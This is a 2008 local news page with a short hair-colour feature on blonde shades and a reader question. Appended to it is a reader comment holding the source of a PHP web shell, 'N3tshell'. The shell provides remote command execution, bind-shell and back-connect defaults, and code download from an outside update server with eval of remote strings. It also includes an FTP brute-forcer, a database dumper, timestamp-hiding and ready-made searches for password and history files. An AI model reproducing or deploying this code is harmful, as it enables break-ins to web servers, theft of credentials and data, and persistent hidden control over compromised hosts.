Send your news, photos & videos. Text NEWS SHOPPER and your message to 80360 or click here to email us » »
|
4:56pm Wednesday 16th January 2008
Baby blonde, bimbo blonde, bright blonde, bashful blonde. There are loads of different shades of blonde to choose from, especially this season as, if the catwalks are anything to go by, blonde really does equal bombshell! The team at Graham Webb International looks at the heavenly hues on offer.
Platinum - This is a daring and dramatic shade that requires a lot of attitude to carry it off. Don't try it unless you can afford to have your roots touched up every three weeks. That is, unless you are working the punk look à la Pink.
Vanilla - A warm and buttery shade of blonde, vanilla looks best on golden toned skins like Asley Olsen's.
Ash - An easy to care for, elegant hue, ash is for those who crave understated chic. It is also extremely flattering against older skin.
Strawberry blonde - Fine strands of a pinky-red hue around the face brings warmth to pale skin tones.
Honey - If you have naturally mousy hair and a warm skin tone, honey is for you. It lights up the complexion and blends into root regrowth brilliantly.
Caramel - Think Mischa Barton and ask your stylist to blend five or six different shades together taking tiny sections. This will ensure the depth and richness of colour is simply amazing.
Cinnamon - As with caramel, ask your colourist to blend lots of colours together but add in a few reddish shades as well as the more golden hues for a spicy effect!
Your questions answered
Q. I have very dark brown hair and want to get some blonde streaks put in. Do you think this will look OK or will the contrast be too much?
A. This is quite a dated look, so if I were you I would ask your hairdresser to add in highlights of caramel, copper or bronze instead to give your hair a sunlit glow. Make sure you use shampoo and conditioner specially formulated for coloured hair to keep the colours fresh and bright.
lol, OMG says...
9:27pm Wed 23 Apr 08
//Starting calls
if (!function_exists("g
etmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
error_reporting(5);
@ignore_user_abort(T
RUE);
@set_magic_quotes_ru
ntime(0);
$win = strtolower(substr(PH
P_OS,0,3)) == "win";
define("starttime",g
etmicrotime());
if (get_magic_quotes_gp
c()) {if (!function_exists("s
trips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr);
}}} else {$arr = stripslashes($arr);}
}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE
,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
$shver = "Emp3ror Undetectable #18"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl)
) {setcookie("N3tsh_su
rl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("N3tsh_sur
l",$surl);}
else {$surl = $_REQUEST; //Set this cookie for manual SURL
}
$surl_autofill_inclu
de = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
if ($surl_autofill_incl
ude and !$_REQUEST) {$include = "&"; foreach (explode("&",getenv(
"QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v); $value = urldecode($v); foreach (array("http://","ht
tps://","ssl://","ft
p://","\\") as $needle) {if (strpos($value,$need
le) === 0) {$includestr .= urlencode($name)."="
.urlencode($value)."
&";}}} if ($_REQUEST) {$includestr .= "surl_autofill_inclu
de=1&";}}
if (empty($surl))
{
$surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($su
rl);
$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
//Authentication
$login = ""; //login
//DON'T FORGOT ABOUT PASSWORD!!!
$pass = ""; //password
$md5_pass = ""; //md5-cryped pass. if null, md5($pass)
$host_allow = array("*"); //array ("{mask}1","{mask}2"
,...), {mask} = IP or HOST e.g. array("192.168.0.*",
"127.0.0.1")
$login_txt = "Restricted area"; //http-auth message.
$accessdeniedmess = " N3tshell v. ".$shver.": access denied";
$gzipencode = TRUE; //Encode with gzip?
$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
$N3tsh_updateurl = "http://emp3ror.com/
N3tshell//update/"; //Update server
$N3tsh_sourcesurl = "http://emp3ror.com/
N3tshell/"; //Sources-server
$filestealth = TRUE; //if TRUE, don't change modify- and access-time
$donated_html = "<center><b>Owned by Spyn3t</b></center>"
;
/* If you publish free shell and you wish
add link to your site or any other information,
put here your html. */
$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
$curdir = "./"; //start folder
//$curdir = getenv("DOCUMENT_ROO
T");
$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
$log_email = "Spyn3t@gmail.com"; //Default e-mail for sending logs
$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = TRUE; //If TRUE then save sorting-position using cookies.
// Registered file-types.
// array(
// "{action1}"=>array("
ext1","ext2","ext3",
...),
// "{action2}"=>array("
ext4","ext5","ext6",
...),
// ...
// )
$ftypes = array(
"html"=>array("html"
,"htm","shtml"),
"txt"=>array("txt","
conf","bat","sh","js
","bak","doc","log",
"sfc","cfg","htacces
s"),
"exe"=>array("sh","i
nstall","bat","cmd")
,
"ini"=>array("ini","
inf"),
"code"=>array("php",
"phtml","php3","php4
","inc","tcl","h","c
","cpp","py","cgi","
pl"),
"img"=>array("gif","
png","jpeg","jfif","
jpg","jpe","bmp","ic
o","tif","tiff","avi
","mpg","mpeg"),
"sdb"=>array("sdb"),
"phpsess"=>array("se
ss"),
"download"=>array("e
xe","com","pif","src
","lnk","zip","rar",
"gz","tar")
);
// Registered executable file-types.
// array(
// string "command{i}"=>array(
"ext1","ext2","ext3"
,...),
// ...
// )
// {command}: %f% = filename
$exeftypes = array(
getenv("PHPRC")." -q %f%" => array("php","php3","
php4"),
"perl %f%" => array("pl","cgi")
);
/* Highlighted files.
array(
i=>array({regexp},{t
ype},{opentag},{clos
etag},{break})
...
)
string {regexp} - regular exp.
int {type}:
0 - files and folders (as default),
1 - files only, 2 - folders only
string {opentag} - open html-tag, e.g. "<b>" (default)
string {closetag} - close html-tag, e.g. "</b>" (default)
bool {break} - if TRUE and found match then break
*/
$regxp_highlight = array(
array(basename($_SER
VER),1,"<font color="yellow">","
</font>"), // example
array("config.php",1
) // example
);
$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
// array (i=>{letter} ...); string {letter} - letter of a drive
//$safemode_diskette
s = range("a","z");
$hexdump_lines = 8;// lines in hex preview file
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
$nixpwdperpage = 100; // Get first N lines from /etc/passwd
$bindport_pass = "N3t"; // default password for binding
$bindport_port = "31373"; // default port for binding
$bc_port = "31373"; // default port for back-connect
$datapipe_localport = "8081"; // default port for datapipe
// Command-aliases
if (!$win)
{
$cmdaliases = array(
array("-------------
--------------------
--------------------
------", "ls -la"),
array("find all suid files", "find / -type f -perm -04000 -ls"),
array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
array("find all sgid files", "find / -type f -perm -02000 -ls"),
array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
array("find config.inc.php files", "find / -type f -name config.inc.php"),
array("find config* files", "find / -type f -name "config*""),
array("find config* files in current dir", "find . -type f -name "config*""),
array("find all writable folders and files", "find / -perm -2 -ls"),
array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
array("find all service.pwd files", "find / -type f -name service.pwd"),
array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
array("find all .htpasswd files", "find / -type f -name .htpasswd"),
array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
array("find all .bash_history files", "find / -type f -name .bash_history"),
array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
array("list file attributes on a Linux second extended file system", "lsattr -va"),
array("show opened ports", "netstat -an | grep -i listen")
);
}
else
{
$cmdaliases = array(
array("-------------
--------------------
--------------------
------", "dir"),
array("show opened ports", "netstat -an")
);
}
$sess_cookie = "N3tshvars"; // Cookie-variable name
$usefsbuff = TRUE; //Buffer-function
$copy_unset = FALSE; //Remove copied files from buffer after pasting
//Quick launch
$quicklaunch = array(
array("<img src="".$surl."act=i
mg&img=home" alt="Home" height="20" width="20" border="0">",$surl
),
array("<img src="".$surl."act=i
mg&img=back" alt="Back" height="20" width="20" border="0">","#" onclick="history.ba
ck(1)"),
array("<img src="".$surl."act=i
mg&img=forward" alt="Forward" height="20" width="20" border="0">","#" onclick="history.go
(1)"),
array("<img src="".$surl."act=i
mg&img=up" alt="UPDIR" height="20" width="20" border="0">",$surl
."act=ls&d=%upd&sort
=%sort"),
array("<img src="".$surl."act=i
mg&img=refresh" alt="Refresh" height="20" width="17" border="0">",""),
array("<img src="".$surl."act=i
mg&img=search" alt="Search" height="20" width="20" border="0">",$surl
."act=search&d=%d"),
array("<img src="".$surl."act=i
mg&img=buffer" alt="Buffer" height="20" width="20" border="0">",$surl
."act=fsbuff&d=%d"),
array("<b>Encoder</b
>",$surl."act=encode
r&d=%d"),
array("<b>Tools</b>"
,$surl."act=tools&d=
%d"),
array("<b>Proc.</b>"
,$surl."act=processe
s&d=%d"),
array("<b>FTP brute</b>",$surl."ac
t=ftpquickbrute&d=%d
"),
array("<b>Sec.</b>",
$surl."act=security&
d=%d"),
array("<b>SQL</b>",$
surl."act=sql&d=%d")
,
array("<b>PHP-code</
b>",$surl."act=eval&
d=%d"),
array("<b>Update</b>
",$surl."act=update&
d=%d"),
array("<b>Feedback</
b>",$surl."act=feedb
ack&d=%d"),
array("<b>Self remove</b>",$surl."a
ct=selfremove"),
array("<b>Logout</b>
","#" onclick="if (confirm('Are you sure?')) window.close()")
);
//Highlight-code colors
$highlight_backgroun
d = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
@$f = $_REQUEST;
@extract($_REQUEST);
//END CONFIGURATION
// /Next code isn't for editing/
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\*",".
*",preg_quote($v));}
$s = "!^(".implode("|",$t
mp).")$!i";
if (!preg_match($s,gete
nv("REMOTE_ADDR")) and !preg_match($s,getho
stbyaddr(getenv("REM
OTE_ADDR")))) {exit("<a href="http://ccteam
.ru/releases/cN3tshe
ll">N3tshell</a>: Access Denied - your host (".getenv("REMOTE_AD
DR").") not allow");}
if (!empty($login))
{
if (empty($md5_pass)) {$md5_pass = md5($pass);}
if (($_SERVER != $login) or (md5($_SERVER) != $md5_pass))
{
if (empty($login_txt)) {$login_txt = strip_tags(ereg_repl
ace(" |<br>"," ",$donated_html));}
header("WWW-Authenti
cate: Basic realm="N3tshell ".$shver.": ".$login_txt.""");
header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedme
ss);
}
}
if ($act != "img")
{
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow) {@ob_clean(); N3tsh_getupdate($sel
fwrite,1); exit;}
$sess_data = unserialize($_COOKIE
);
if (!is_array($sess_dat
a)) {$sess_data = array();}
if (!is_array($sess_dat
a)) {$sess_data = array();}
if (!is_array($sess_dat
a)) {$sess_data = array();}
$disablefunc = @ini_get("disable_fu
nctions");
if (!empty($disablefunc
))
{
$disablefunc = str_replace(" ","",$disablefunc);
$disablefunc = explode(",",$disable
func);
}
if (!function_exists("N
3t_buff_prepare"))
{
function N3t_buff_prepare()
{
global $sess_data;
global $act;
foreach($sess_data as $k=>$v) {$sess_data = str_replace("\",DIR
ECTORY_SEPARATOR,rea
lpath($v));}
foreach($sess_data as $k=>$v) {$sess_data = str_replace("\",DIR
ECTORY_SEPARATOR,rea
lpath($v));}
$sess_data = array_unique($sess_d
ata);
$sess_data = array_unique($sess_d
ata);
sort($sess_data);
sort($sess_data);
if ($act != "copy") {foreach($sess_data as $k=>$v) {if ($sess_data == $v) {unset($sess_data); }}}
else {foreach($sess_data as $k=>$v) {if ($sess_data == $v) {unset($sess_data);}}}
}
}
N3t_buff_prepare();
if (!function_exists("N
3t_sess_put"))
{
function N3t_sess_put($data)
{
global $sess_cookie;
global $sess_data;
N3t_buff_prepare();
$sess_data = $data;
$data = serialize($data);
setcookie($sess_cook
ie,$data);
}
}
foreach (array("sort","sql_s
ort") as $v)
{
if (!empty($_GET)) {$$v = $_GET;}
if (!empty($_POST)) {$$v = $_POST;}
}
if ($sort_save)
{
if (!empty($sort)) {setcookie("sort",$s
ort);}
if (!empty($sql_sort)) {setcookie("sql_sort
",$sql_sort);}
}
if (!function_exists("s
tr2mini"))
{
function str2mini($content,$l
en)
{
if (strlen($content) > $len)
{
$len = ceil($len/2) - 2;
return substr($content, 0,$len)."...".substr
($content,-$len);
}
else {return $content;}
}
}
if (!function_exists("v
iew_size"))
{
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/10737418
24*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*
100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100
)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
}
if (!function_exists("f
s_copy_dir"))
{
function fs_copy_dir($d,$t)
{
$d = str_replace("\",DIR
ECTORY_SEPARATOR,$d)
;
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;
}
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.DIRECTOR
Y_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SE
PARATOR.$o,$t.DIRECT
ORY_SEPARATOR.$o);}
else {$ret = mkdir($t.DIRECTORY_S
EPARATOR.$o); fs_copy_dir($d.DIREC
TORY_SEPARATOR.$o,$t
.DIRECTORY_SEPARATOR
.$o);}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("f
s_copy_obj"))
{
function fs_copy_obj($d,$t)
{
$d = str_replace("\",DIR
ECTORY_SEPARATOR,$d)
;
$t = str_replace("\",DIR
ECTORY_SEPARATOR,$t)
;
if (!is_dir(dirname($t)
)) {mkdir(dirname($t));
}
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;
}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;
}
return fs_copy_dir($d,$t);
}
elseif (is_file($d)) {return copy($d,$t);}
else {return FALSE;}
}
}
if (!function_exists("f
s_move_dir"))
{
function fs_move_dir($d,$t)
{
$h = opendir($d);
if (!is_dir($t)) {mkdir($t);}
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
$ret = TRUE;
if (!is_dir($d.DIRECTOR
Y_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SE
PARATOR.$o,$t.DIRECT
ORY_SEPARATOR.$o);}
else {if (mkdir($t.DIRECTORY_
SEPARATOR.$o) and fs_copy_dir($d.DIREC
TORY_SEPARATOR.$o,$t
.DIRECTORY_SEPARATOR
.$o)) {$ret = FALSE;}}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("f
s_move_obj"))
{
function fs_move_obj($d,$t)
{
$d = str_replace("\",DIR
ECTORY_SEPARATOR,$d)
;
$t = str_replace("\",DIR
ECTORY_SEPARATOR,$t)
;
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;
}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;
}
return fs_move_dir($d,$t);
}
elseif (is_file($d))
{
if(copy($d,$t)) {return unlink($d);}
else {unlink($t); return FALSE;}
}
else {return FALSE;}
}
}
if (!function_exists("f
s_rmdir"))
{
function fs_rmdir($d)
{
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.$o)) {unlink($d.$o);}
else {fs_rmdir($d.$o.DIRE
CTORY_SEPARATOR); rmdir($d.$o);}
}
}
closedir($h);
rmdir($d);
return !is_dir($d);
}
}
if (!function_exists("f
s_rmobj"))
{
function fs_rmobj($o)
{
$o = str_replace("\",DIR
ECTORY_SEPARATOR,$o)
;
if (is_dir($o))
{
if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;
}
return fs_rmdir($o);
}
elseif (is_file($o)) {return unlink($o);}
else {return FALSE;}
}
}
if (!function_exists("m
yshellexec"))
{
function myshellexec($cmd)
{
global $disablefunc;
$result = "";
if (!empty($cmd))
{
if (is_callable("exec") and !in_array("exec",$di
sablefunc)) {exec($cmd,$result); $result = join("n",$result);}
elseif (($result = `$cmd`) !== FALSE) {}
elseif (is_callable("system
") and !in_array("system",$
disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable("passth
ru") and !in_array("passthru"
,$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_resource($fp = popen($cmd,"r")))
{
$result = "";
while(!feof($fp)) {$result .= fread($fp,1024);}
pclose($fp);
}
}
return $result;
}
}
if (!function_exists("t
absort")) {function tabsort($a,$b) {global $v; return strnatcmp($a, $b);}}
if (!function_exists("v
iew_perms"))
{
function view_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$type = "s";}
elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
else {$type = "?";}
$owner = ($mode & 00400)?"r":"-";
$owner = ($mode & 00200)?"w":"-";
$owner = ($mode & 00100)?"x":"-";
$group = ($mode & 00040)?"r":"-";
$group = ($mode & 00020)?"w":"-";
$group = ($mode & 00010)?"x":"-";
$world = ($mode & 00004)?"r":"-";
$world = ($mode & 00002)? "w":"-";
$world = ($mode & 00001)?"x":"-";
if ($mode & 0x800) {$owner = ($owner == "x")?"s":"S";}
if ($mode & 0x400) {$group = ($group == "x")?"s":"S";}
if ($mode & 0x200) {$world = ($world == "x")?"t":"T";}
return $type.join("",$owner
).join("",$group).jo
in("",$world);
}
}
if (!function_exists("p
osix_getpwuid") and !in_array("posix_get
pwuid",$disablefunc)
) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("p
osix_getgrgid") and !in_array("posix_get
grgid",$disablefunc)
) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("p
osix_kill") and !in_array("posix_kil
l",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("p
arse_perms"))
{
function parse_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$t = "s";}
elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
else {$t = "?";}
$o = ($mode & 00400) > 0; $o = ($mode & 00200) > 0; $o = ($mode & 00100) > 0;
$g = ($mode & 00040) > 0; $g = ($mode & 00020) > 0; $g = ($mode & 00010) > 0;
$w = ($mode & 00004) > 0; $w = ($mode & 00002) > 0; $w = ($mode & 00001) > 0;
return array("t"=>$t,"o"=>$
o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("p
arsesort"))
{
function parsesort($sort)
{
$one = intval($sort);
$second = substr($sort,-1);
if ($second != "d") {$second = "a";}
return array($one,$second);
}
}
if (!function_exists("v
iew_perms_color"))
{
function view_perms_color($o)
{
if (!is_readable($o)) {return "<font color=red>".view_per
ms(fileperms($o))."<
/font>";}
elseif (!is_writable($o)) {return "<font color=white>".view_p
erms(fileperms($o)).
"</font>";}
else {return "<font color=green>".view_p
erms(fileperms($o)).
"</font>";}
}
}
if (!function_exists("N
3tgetsource"))
{
function N3tgetsource($fn)
{
global $N3tsh_sourcesurl;
$array = array(
"N3tsh_bindport.pl" => "N3tsh_bindport_pl.t
xt",
"N3tsh_bindport.c" => "N3tsh_bindport_c.tx
t",
"N3tsh_backconn.pl" => "N3tsh_backconn_pl.t
xt",
"N3tsh_backconn.c" => "N3tsh_backconn_c.tx
t",
"N3tsh_datapipe.pl" => "N3tsh_datapipe_pl.t
xt",
"N3tsh_datapipe.c" => "N3tsh_datapipe_c.tx
t",
);
$name = $array;
if ($name) {return file_get_contents($N
3tsh_sourcesurl.$nam
e);}
else {return FALSE;}
}
}
if (!function_exists("N
3tsh_getupdate"))
{
function N3tsh_getupdate($upd
ate = TRUE)
{
$url = $GLOBALS."?version=".urlenco
de(base64_encode($GL
OBALS))."&updatenow=".($u
pdatenow?"1":"0")."&
";
$data = @file_get_contents($
url);
if (!$data) {return "Can't connect to update-server!";}
else
{
$data = ltrim($data);
$string = substr($data,3,ord($
data{2}));
if ($data{0} == "x99" and $data{1} == "x01") {return "Error: ".$string; return FALSE;}
if ($data{0} == "x99" and $data{1} == "x02") {return "You are using latest version!";}
if ($data{0} == "x99" and $data{1} == "x03")
{
$string = explode("x01",$stri
ng);
if ($update)
{
$confvars = array();
$sourceurl = $string;
$source = file_get_contents($s
ourceurl);
if (!$source) {return "Can't fetch update!";}
else
{
$fp = fopen(__FILE__,"w");
if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download N3tshell.php manually <a href="".$sourceurl.
""><u>here</u></a>.
";}
else {fwrite($fp,$source)
; fclose($fp); return "Thanks! Updated with success.";}
}
}
else {return "New version are available: ".$string;}
}
elseif ($data{0} == "x99" and $data{1} == "x04") {eval($string); return 1;}
else {return "Error in protocol: segmentation failed! (".$data.") ";}
}
}
}
if (!function_exists("m
ysql_dump"))
{
function mysql_dump($set)
{
global $shver;
$sock = $set;
$db = $set;
$print = $set;
$nl2br = $set;
$file = $set;
$add_drop = $set;
$tabs = $set;
$onlytabs = $set;
$ret = array();
$ret = array();
if (!is_resource($sock)
) {echo("Error: $sock is not valid resource.");}
if (empty($db)) {$db = "db";}
if (empty($print)) {$print = 0;}
if (empty($nl2br)) {$nl2br = 0;}
if (empty($add_drop)) {$add_drop = TRUE;}
if (empty($file))
{
$file = $tmpdir."dump_".gete
nv("SERVER_NAME")."_
".$db."_".date("d-m-
Y-H-i-s").".sql";
}
if (!is_array($tabs)) {$tabs = array();}
if (empty($add_drop)) {$add_drop = TRUE;}
if (sizeof($tabs) == 0)
{
// retrive tables-list
$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
if (mysql_num_rows($res
) > 0) {while ($row = mysql_fetch_row($res
)) {$tabs[] = $row;}}
}
$out = "# Dumped by N3tShell.SQL v. ".$shver."
# Home page: http://ccteam.ru
#
# Host settings:
# MySQL version: (".mysql_get_server_
info().") running on ".getenv("SERVER_ADD
R")." (".getenv("SERVER_NA
ME").")"."
# Date: ".date("d.m.Y H:i:s")."
# DB: "".$db.""
#-------------------
--------------------
------------------
";
$c = count($onlytabs);
foreach($tabs as $tab)
{
if ((in_array($tab,$onl
ytabs)) or (!$c))
{
if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;n";}
// recieve query for create table structure
$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
if (!$res) {$ret[] = mysql_smarterror();}
else
{
$row = mysql_fetch_row($res
);
$out .= $row.";nn";
// recieve table variables
$res = mysql_query("SELECT * FROM `$tab`", $sock);
if (mysql_num_rows($res
) > 0)
{
while ($row = mysql_fetch_assoc($r
es))
{
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');n";
$out .= $sql;
}
}
}
}
}
$out .= "#------------------
--------------------
--------------------
--------------------
---nn";
if ($file)
{
$fp = fopen($file, "w");
if (!$fp) {$ret[] = 2;}
else
{
fwrite ($fp, $out);
fclose ($fp);
}
}
if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
return $out;
}
}
if (!function_exists("m
ysql_buildwhere"))
{
function mysql_buildwhere($ar
ray,$sep=" and",$functs=array()
)
{
if (!is_array($array)) {$array = array();}
$result = "";
foreach($array as $k=>$v)
{
$value = "";
if (!empty($functs)
) {$value .= $functs."(";}
$value .= "'".addslashes($v)."
'";
if (!empty($functs)
) {$value .= ")";}
$result .= "`".$k."` = ".$value.$sep;
}
$result = substr($result,0,str
len($result)-strlen(
$sep));
return $result;
}
}
if (!function_exists("m
ysql_fetch_all"))
{
function mysql_fetch_all($que
ry,$sock)
{
if ($sock) {$result = mysql_query($query,$
sock);}
else {$result = mysql_query($query);
}
$array = array();
while ($row = mysql_fetch_array($r
esult)) {$array[] = $row;}
mysql_free_result($r
esult);
return $array;
}
}
if (!function_exists("m
ysql_smarterror"))
{
function mysql_smarterror($ty
pe,$sock)
{
if ($sock) {$error = mysql_error($sock);}
else {$error = mysql_error();}
$error = htmlspecialchars($er
ror);
return $error;
}
}
if (!function_exists("m
ysql_query_form"))
{
function mysql_query_form()
{
global $submit,$sql_act,$sq
l_query,$sql_query_r
esult,$sql_confirm,$
sql_query_error,$tbl
_struct;
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_err
or."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act))
{
echo "<table border=0><tr><td><fo
rm name="N3tsh_sqlquer
y" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><texta
rea name=sql_query cols=100 rows=10>".htmlspecia
lchars($sql_query)."
</textarea><br><br><
input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value="".htmlspecia
lchars($sql_tbl).""
><input type=hidden name=submit value="1"><input type=hidden name="sql_goto" value="".htmlspecia
lchars($sql_goto)."
"><input type=submit name=sql_confirm value="Yes">
<input type=submit value="No"></form>
</td>";
if ($tbl_struct)
{
echo "<td valign="top"><b>Fi
elds:</b><br>";
foreach ($tbl_struct as $field) {$name = $field; echo "� <a href="#" onclick="document.N
3tsh_sqlquery.sql_qu
ery.value+='`".$name
."`';"><b>".$name."
</b></a><br>";}
echo "</td></tr></table>"
;
}
}
if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
}
}
if (!function_exists("m
ysql_create_db"))
{
function mysql_create_db($db,
$sock="")
{
$sql = "CREATE DATABASE `".addslashes($db)."
`;";
if ($sock) {return mysql_query($sql,$so
ck);}
else {return mysql_query($sql);}
}
}
if (!function_exists("m
ysql_query_parse"))
{
function mysql_query_parse($q
uery)
{
$query = trim($query);
$arr = explode (" ",$query);
/*array array()
{
"METHOD"=>array(outp
ut_type),
"METHOD1"...
...
}
if output_type == 0, no output,
if output_type == 1, no output if no error
if output_type == 2, output without control-buttons
if output_type == 3, output with control-buttons
*/
$types = array(
"SELECT"=>array(3,1)
,
"SHOW"=>array(2,1),
"DELETE"=>array(1),
"DROP"=>array(1)
);
$result = array();
$op = strtoupper($arr);
if (is_array($types))
{
$result = $types;
$result = $query;
if ($types == 2)
{
foreach($arr as $k=>$v)
{
if (strtoupper($v) == "LIMIT")
{
$result = $arr;
$result = explode(",",$result);
if (count($result) == 1) {$result = array(0,$result);}
unset($arr,$arr);
}
}
}
}
else {return FALSE;}
}
}
if (!function_exists("N
3tfsearch"))
{
function N3tfsearch($d)
{
global $found;
global $found_d;
global $found_f;
global $search_i_f;
global $search_i_d;
global $a;
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;
}
$h = opendir($d);
while (($f = readdir($h)) !== FALSE)
{
if($f != "." && $f != "..")
{
$bool = (empty($a) and strpos($f,$a) !== FALSE) || ($a and ereg($a,$f));
if (is_dir($d.$f))
{
$search_i_d++;
if (empty($a) and $bool) {$found[] = $d.$f; $found_d++;}
if (!is_link($d.$f)) {N3tfsearch($d.$f);}
}
else
{
$search_i_f++;
if ($bool)
{
if (!empty($a))
{
$r = @file_get_contents($
d.$f);
if ($a) {$a = " ".trim($a)." ";}
if (!$a) {$a = strtolower($a); $r = strtolower($r);}
if ($a) {$bool = ereg($a,$r);}
else {$bool = strpos(" ".$r,$a,1);}
if ($a) {$bool = !$bool;}
if ($bool) {$found[] = $d.$f; $found_f++;}
}
else {$found[] = $d.$f; $found_f++;}
}
}
}
}
closedir($h);
}
}
if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
//Sending headers
@ob_start();
@ob_implicit_flush(0
);
function onphpshutdown()
{
global $gzipencode,$ft;
if (!headers_sent() and $gzipencode and !in_array($ft,array(
"img","download","no
tepad")))
{
$v = @ob_get_contents();
@ob_end_clean();
@ob_start("ob_gzHand
ler");
echo $v;
@ob_end_flush();
}
}
function N3tshexit()
{
onphpshutdown();
exit;
}
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modifie
d: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Contro
l: no-store, no-cache, must-revalidate");
header("Cache-Contro
l: post-check=0, pre-check=0", FALSE);
header("Pragma: no-cache");
if (empty($tmpdir))
{
$tmpdir = ini_get("upload_tmp_
dir");
if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
}
